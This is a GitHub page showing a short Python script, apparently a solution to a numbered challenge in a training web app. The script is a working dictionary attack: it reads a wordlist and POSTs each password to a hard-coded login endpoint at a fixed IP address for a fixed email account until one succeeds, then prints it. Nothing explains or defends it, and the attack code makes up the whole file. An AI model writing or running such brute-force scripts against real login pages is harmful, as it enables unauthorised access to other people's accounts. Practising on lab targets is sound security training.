-
Notifications
You must be signed in to change notification settings - Fork 0
/
5_passwordstrength.py
32 lines (30 loc) · 910 Bytes
/
5_passwordstrength.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from urllib.request import urlopen, Request
from json import dumps, load
passwords_ = open("wordlist.txt")
passwords = passwords_.readlines()
passwords_.close()
for password in passwords:
try:response = urlopen(
Request(
"http://15.236.144.183:8082/rest/user/login",
data=dumps({
"email":"[email protected]",
"password": password.strip(),
}).encode(),
method="POST",
headers={
"Accept": "application/json, text/plain, */*",
"Content-Type": "application/json",
"Origin": "http://15.236.144.183:8082",
"Referer": "http://15.236.144.183:8082/",
"Cookie": (
"language=en; welcomebanner_status=dismiss;"
" continueCode=ZaRwEmgxBPbY2oq9vKejJz6AWLU9"
"TLiKZSrMdpDWVQk837ZrnN1OX5y4lLMD; cookieconsent"
"_status=dismiss"
),
},
)
)
except: pass
else: print("[+] Password:", password, end=""); break